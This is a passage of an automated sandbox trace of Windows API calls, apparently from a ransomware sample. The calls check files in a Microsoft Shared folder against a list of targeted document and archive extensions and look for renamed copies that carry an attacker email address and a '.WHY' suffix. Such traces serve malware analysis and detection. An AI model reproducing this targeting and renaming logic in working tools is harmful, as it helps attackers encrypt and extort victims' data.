(lpString=".dbf") returned 4 [0219.247] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0219.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0219.247] lstrlenW (lpString=".1cd") returned 4 [0219.247] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0219.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0219.247] lstrlenW (lpString=".jpg") returned 4 [0219.247] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0219.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0219.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0219.248] lstrlenW (lpString=".doc") returned 4 [0219.248] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0219.248] lstrlenW (lpString=".docx") returned 5 [0219.248] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0219.248] lstrlenW (lpString=".pdf") returned 4 [0219.248] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0219.248] lstrlenW (lpString=".xls") returned 4 [0219.248] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0219.248] lstrlenW (lpString=".xlsx") returned 5 [0219.248] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0219.248] lstrlenW (lpString=".ppt") returned 4 [0219.249] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0219.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0219.249] lstrlenW (lpString=".zip") returned 4 [0219.249] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0219.249] lstrlenW (lpString=".rar") returned 4 [0219.249] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0219.249] lstrlenW (lpString=".bz2") returned 4 [0219.249] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0219.250] lstrlenW (lpString=".7z") returned 3 [0219.250] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0219.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0219.250] lstrlenW (lpString=".dbf") returned 4 [0219.250] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0219.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0219.250] lstrlenW (lpString=".1cd") returned 4 [0219.250] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0219.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0219.250] lstrlenW (lpString=".jpg") returned 4 [0219.910] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0219.910] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0219.910] lstrlenW (lpString="ipscsy.xml") returned 10 [0219.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0222.619] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2556) returned 1 [0222.619] CloseHandle (hObject=0x320) returned 1 [0222.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0222.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0222.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0222.620] lstrlenW (lpString=".doc") returned 4 [0222.620] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.620] lstrlenW (lpString=".docx") returned 5 [0222.620] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0222.621] lstrlenW (lpString=".pdf") returned 4 [0222.621] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.621] lstrlenW (lpString=".xls") returned 4 [0222.621] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.621] lstrlenW (lpString=".xlsx") returned 5 [0222.621] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0222.621] lstrlenW (lpString=".ppt") returned 4 [0222.621] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0222.622] lstrlenW (lpString=".zip") returned 4 [0222.622] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.622] lstrlenW (lpString=".rar") returned 4 [0222.622] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.622] lstrlenW (lpString=".bz2") returned 4 [0222.622] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.622] lstrlenW (lpString=".7z") returned 3 [0222.622] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0222.622] lstrlenW (lpString=".dbf") returned 4 [0222.622] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0222.623] lstrlenW (lpString=".1cd") returned 4 [0222.623] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0222.623] lstrlenW (lpString=".jpg") returned 4 [0222.623] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0222.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0222.623] lstrlenW (lpString=".doc") returned 4 [0222.623] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.623] lstrlenW (lpString=".docx") returned 5 [0222.623] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0222.624] lstrlenW (lpString=".pdf") returned 4 [0222.624] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.624] lstrlenW (lpString=".xls") returned 4 [0222.624] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.624] lstrlenW (lpString=".xlsx") returned 5 [0222.624] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0222.624] lstrlenW (lpString=".ppt") returned 4 [0222.624] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0222.624] lstrlenW (lpString=".zip") returned 4 [0222.624] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.624] lstrlenW (lpString=".rar") returned 4 [0222.624] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.624] lstrlenW (lpString=".bz2") returned 4 [0222.625] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.625] lstrlenW (lpString=".7z") returned 3 [0222.625] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0222.625] lstrlenW (lpString=".dbf") returned 4 [0222.625] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0222.625] lstrlenW (lpString=".1cd") returned 4 [0222.625] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0222.625] lstrlenW (lpString=".jpg") returned 4 [0222.625] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.630] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0222.630] lstrlenW (lpString="ipsita.xml") returned 10 [0222.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0222.633] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2526) returned 1 [0222.633] CloseHandle (hObject=0x378) returned 1 [0222.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0222.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0222.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0222.634] lstrlenW (lpString=".doc") returned 4 [0222.634] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.634] lstrlenW (lpString=".docx") returned 5 [0222.634] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0222.634] lstrlenW (lpString=".pdf") returned 4 [0222.634] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.634] lstrlenW (lpString=".xls") returned 4 [0222.634] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.634] lstrlenW (lpString=".xlsx") returned 5 [0222.634] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0222.634] lstrlenW (lpString=".ppt") returned 4 [0222.634] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0222.634] lstrlenW (lpString=".zip") returned 4 [0222.635] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.635] lstrlenW (lpString=".rar") returned 4 [0222.635] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.635] lstrlenW (lpString=".bz2") returned 4 [0222.635] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.635] lstrlenW (lpString=".7z") returned 3 [0222.635] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0222.635] lstrlenW (lpString=".dbf") returned 4 [0222.635] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0222.635] lstrlenW (lpString=".1cd") returned 4 [0222.635] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0222.636] lstrlenW (lpString=".jpg") returned 4 [0222.636] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0222.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0222.636] lstrlenW (lpString=".doc") returned 4 [0222.636] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.636] lstrlenW (lpString=".docx") returned 5 [0222.636] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0222.636] lstrlenW (lpString=".pdf") returned 4 [0222.636] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.636] lstrlenW (lpString=".xls") returned 4 [0222.636] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.636] lstrlenW (lpString=".xlsx") returned 5 [0222.636] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0222.636] lstrlenW (lpString=".ppt") returned 4 [0222.636] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0222.637] lstrlenW (lpString=".zip") returned 4 [0222.637] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.637] lstrlenW (lpString=".rar") returned 4 [0222.637] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.638] lstrlenW (lpString=".bz2") returned 4 [0222.638] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.638] lstrlenW (lpString=".7z") returned 3 [0222.638] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0222.638] lstrlenW (lpString=".dbf") returned 4 [0222.638] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0222.638] lstrlenW (lpString=".1cd") returned 4 [0222.638] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0222.638] lstrlenW (lpString=".jpg") returned 4 [0222.638] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.639] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0222.639] lstrlenW (lpString="ipskor.xml") returned 10 [0222.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0222.639] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2568) returned 1 [0222.639] CloseHandle (hObject=0x378) returned 1 [0222.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0222.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0222.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0222.640] lstrlenW (lpString=".doc") returned 4 [0222.640] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.640] lstrlenW (lpString=".docx") returned 5 [0222.641] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0222.641] lstrlenW (lpString=".pdf") returned 4 [0222.641] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.641] lstrlenW (lpString=".xls") returned 4 [0222.641] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.641] lstrlenW (lpString=".xlsx") returned 5 [0222.641] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0222.641] lstrlenW (lpString=".ppt") returned 4 [0222.641] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0222.641] lstrlenW (lpString=".zip") returned 4 [0222.641] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.641] lstrlenW (lpString=".rar") returned 4 [0222.641] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.642] lstrlenW (lpString=".bz2") returned 4 [0222.642] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.642] lstrlenW (lpString=".7z") returned 3 [0222.642] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0222.642] lstrlenW (lpString=".dbf") returned 4 [0222.642] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0222.642] lstrlenW (lpString=".1cd") returned 4 [0222.642] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0222.642] lstrlenW (lpString=".jpg") returned 4 [0222.642] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0222.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0222.642] lstrlenW (lpString=".doc") returned 4 [0222.643] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.643] lstrlenW (lpString=".docx") returned 5 [0222.643] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0222.643] lstrlenW (lpString=".pdf") returned 4 [0222.643] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.643] lstrlenW (lpString=".xls") returned 4 [0222.643] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.643] lstrlenW (lpString=".xlsx") returned 5 [0222.643] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0222.643] lstrlenW (lpString=".ppt") returned 4 [0222.643] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0222.643] lstrlenW (lpString=".zip") returned 4 [0222.643] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.644] lstrlenW (lpString=".rar") returned 4 [0222.644] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.644] lstrlenW (lpString=".bz2") returned 4 [0222.644] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.644] lstrlenW (lpString=".7z") returned 3 [0222.644] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0222.644] lstrlenW (lpString=".dbf") returned 4 [0222.644] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0222.644] lstrlenW (lpString=".1cd") returned 4 [0222.644] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0222.645] lstrlenW (lpString=".jpg") returned 4 [0222.645] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.645] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0222.645] lstrlenW (lpString="ipsnld.xml") returned 10 [0222.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0222.646] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2626) returned 1 [0222.646] CloseHandle (hObject=0x378) returned 1 [0222.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0222.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0222.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0222.647] lstrlenW (lpString=".doc") returned 4 [0222.647] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.647] lstrlenW (lpString=".docx") returned 5 [0222.647] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0222.647] lstrlenW (lpString=".pdf") returned 4 [0222.647] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.647] lstrlenW (lpString=".xls") returned 4 [0222.647] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.647] lstrlenW (lpString=".xlsx") returned 5 [0222.648] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0222.648] lstrlenW (lpString=".ppt") returned 4 [0222.648] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0222.648] lstrlenW (lpString=".zip") returned 4 [0222.648] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.648] lstrlenW (lpString=".rar") returned 4 [0222.648] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.648] lstrlenW (lpString=".bz2") returned 4 [0222.648] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.648] lstrlenW (lpString=".7z") returned 3 [0222.648] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0222.649] lstrlenW (lpString=".dbf") returned 4 [0222.649] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0222.649] lstrlenW (lpString=".1cd") returned 4 [0222.649] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0222.649] lstrlenW (lpString=".jpg") returned 4 [0222.649] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0222.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0222.649] lstrlenW (lpString=".doc") returned 4 [0222.650] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.650] lstrlenW (lpString=".docx") returned 5 [0222.650] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0222.650] lstrlenW (lpString=".pdf") returned 4 [0222.650] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.650] lstrlenW (lpString=".xls") returned 4 [0222.650] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.650] lstrlenW (lpString=".xlsx") returned 5 [0222.650] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0222.650] lstrlenW (lpString=".ppt") returned 4 [0222.650] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0222.650] lstrlenW (lpString=".zip") returned 4 [0222.650] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.651] lstrlenW (lpString=".rar") returned 4 [0222.651] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.651] lstrlenW (lpString=".bz2") returned 4 [0222.651] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.651] lstrlenW (lpString=".7z") returned 3 [0222.651] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0222.651] lstrlenW (lpString=".dbf") returned 4 [0222.651] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0222.651] lstrlenW (lpString=".1cd") returned 4 [0222.651] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0222.651] lstrlenW (lpString=".jpg") returned 4 [0222.651] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.652] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0222.652] lstrlenW (lpString="ipsnor.xml") returned 10 [0222.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0222.653] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2580) returned 1 [0222.653] CloseHandle (hObject=0x378) returned 1 [0222.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0222.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 